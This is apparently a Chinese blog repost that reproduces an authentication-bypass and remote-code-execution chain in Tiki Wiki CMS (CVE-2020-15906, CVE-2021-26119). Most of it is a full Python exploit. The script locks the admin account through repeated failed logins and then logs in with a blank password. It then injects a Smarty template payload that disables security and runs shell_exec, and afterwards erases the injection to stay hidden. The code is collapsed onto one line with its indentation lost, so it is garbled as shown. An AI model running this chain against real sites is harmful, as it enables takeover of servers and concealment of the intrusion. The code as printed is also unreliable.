Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现

2024-03-03 00:50

本文主要是介绍Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Tiki Wiki CMS组件认证过绕过漏洞(CVE-2020-15906)(CVE-2021-26119)

by ADummy

0x00利用路线

​ 爆破50次密码—>burpsuite抓包—>修改pass字段为空(坑点 记录好ticket,session,cookie)

0x01漏洞介绍

​ 在以下这些版本21.2,20.4,19.3,18.7,17.3,16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。

0x02漏洞复现

P牛写的poc

payload:

import requests
import sys
import redef auth_bypass(s, t):d = {"ticket" : "","user" : "admin","pass" : "trololololol",}h = { "referer" : t }d["ticket"] = get_ticket(s, "%stiki-login.php" % t)d["pass"] = "" # blank loginr = s.post("%stiki-login.php" % t, data=d, headers=h)r = s.get("%stiki-admin.php" % t)assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"def black_password(s, t):uri = "%stiki-login.php" % t# setup cookies heres.get(uri)ticket = get_ticket(s, uri)d = {'user':'admin', 'pass':'trololololol',}# crafted especially so unsuccessful_logins isn't recordedfor i in range(0, 51):r = s.post(uri, d)if("Account requires administrator approval." in r.text):print("(+) admin password blanked!")returnraise Exception("(-) auth bypass failed!") def get_ticket(s, uri):h = { "referer" : uri }r = s.get(uri)match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)assert match, "(-) csrf ticket leak failed!"return match.group(1)def trigger_or_patch_ssti(s, t, c=None):# CVE-2021-26119p = { "page": "look" }h = { "referer" : t }bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % cd = {"ticket" : get_ticket(s, "%stiki-admin.php" % t),"feature_custom_html_head_content" : bypass if c else '',"lm_preference[]": "feature_custom_html_head_content"}r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)r = s.get("%stiki-index.php" % t)if c != None:assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"cmdr = r.text.split("startrce")[1].split("endrce")[0]print(cmdr.strip())def main():if(len(sys.argv) < 4):print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])returnp = sys.argv[2]c = sys.argv[3]p = p + "/" if not p.endswith("/") else pp = "/" + p if not p.startswith("/") else pt = "http://%s%s" % (sys.argv[1], p)s = requests.Session()print("(+) blanking password...")black_password(s, t)print("(+) getting a session...")auth_bypass(s, t)print("(+) auth bypass successful!")print("(+) triggering rce...\n")# trigger for rcetrigger_or_patch_ssti(s, t, c)# patch so we stay hiddentrigger_or_patch_ssti(s, t)if __name__ == '__main__':main()

靶场内可以直接打。

在这里插入图片描述

0x03参考资料

https://srcincite.io/pocs/cve-2021-26119.py.txt

这篇关于Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/767940

相关文章

SpringQuartz定时任务核心组件JobDetail与Trigger配置

《SpringQuartz定时任务核心组件JobDetail与Trigger配置》Spring框架与Quartz调度器的集成提供了强大而灵活的定时任务解决方案,本文主要介绍了SpringQuartz定... 目录引言一、Spring Quartz基础架构1.1 核心组件概述1.2 Spring集成优势二、J

SpringSecurity JWT基于令牌的无状态认证实现

《SpringSecurityJWT基于令牌的无状态认证实现》SpringSecurity中实现基于JWT的无状态认证是一种常见的做法,本文就来介绍一下SpringSecurityJWT基于令牌的无... 目录引言一、JWT基本原理与结构二、Spring Security JWT依赖配置三、JWT令牌生成与

SpringSecurity6.0 如何通过JWTtoken进行认证授权

《SpringSecurity6.0如何通过JWTtoken进行认证授权》:本文主要介绍SpringSecurity6.0通过JWTtoken进行认证授权的过程,本文给大家介绍的非常详细,感兴趣... 目录项目依赖认证UserDetailService生成JWT token权限控制小结之前写过一个文章,从S

springboot security使用jwt认证方式

《springbootsecurity使用jwt认证方式》:本文主要介绍springbootsecurity使用jwt认证方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录前言代码示例依赖定义mapper定义用户信息的实体beansecurity相关的类提供登录接口测试提供一

Vue中组件之间传值的六种方式(完整版)

《Vue中组件之间传值的六种方式(完整版)》组件是vue.js最强大的功能之一,而组件实例的作用域是相互独立的,这就意味着不同组件之间的数据无法相互引用,针对不同的使用场景,如何选择行之有效的通信方式... 目录前言方法一、props/$emit1.父组件向子组件传值2.子组件向父组件传值(通过事件形式)方

SpringSecurity 认证、注销、权限控制功能(注销、记住密码、自定义登入页)

《SpringSecurity认证、注销、权限控制功能(注销、记住密码、自定义登入页)》SpringSecurity是一个强大的Java框架,用于保护应用程序的安全性,它提供了一套全面的安全解决方案... 目录简介认识Spring Security“认证”(Authentication)“授权” (Auth

Spring组件初始化扩展点BeanPostProcessor的作用详解

《Spring组件初始化扩展点BeanPostProcessor的作用详解》本文通过实战案例和常见应用场景详细介绍了BeanPostProcessor的使用,并强调了其在Spring扩展中的重要性,感... 目录一、概述二、BeanPostProcessor的作用三、核心方法解析1、postProcessB

kotlin中的行为组件及高级用法

《kotlin中的行为组件及高级用法》Jetpack中的四大行为组件:WorkManager、DataBinding、Coroutines和Lifecycle,分别解决了后台任务调度、数据驱动UI、异... 目录WorkManager工作原理最佳实践Data Binding工作原理进阶技巧Coroutine

一文详解kafka开启kerberos认证的完整步骤

《一文详解kafka开启kerberos认证的完整步骤》这篇文章主要为大家详细介绍了kafka开启kerberos认证的完整步骤,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、kerberos安装部署二、准备机器三、Kerberos Server 安装1、配置krb5.con

Vue项目的甘特图组件之dhtmlx-gantt使用教程和实现效果展示(推荐)

《Vue项目的甘特图组件之dhtmlx-gantt使用教程和实现效果展示(推荐)》文章介绍了如何使用dhtmlx-gantt组件来实现公司的甘特图需求,并提供了一个简单的Vue组件示例,文章还分享了一... 目录一、首先 npm 安装插件二、创建一个vue组件三、业务页面内 引用自定义组件:四、dhtmlx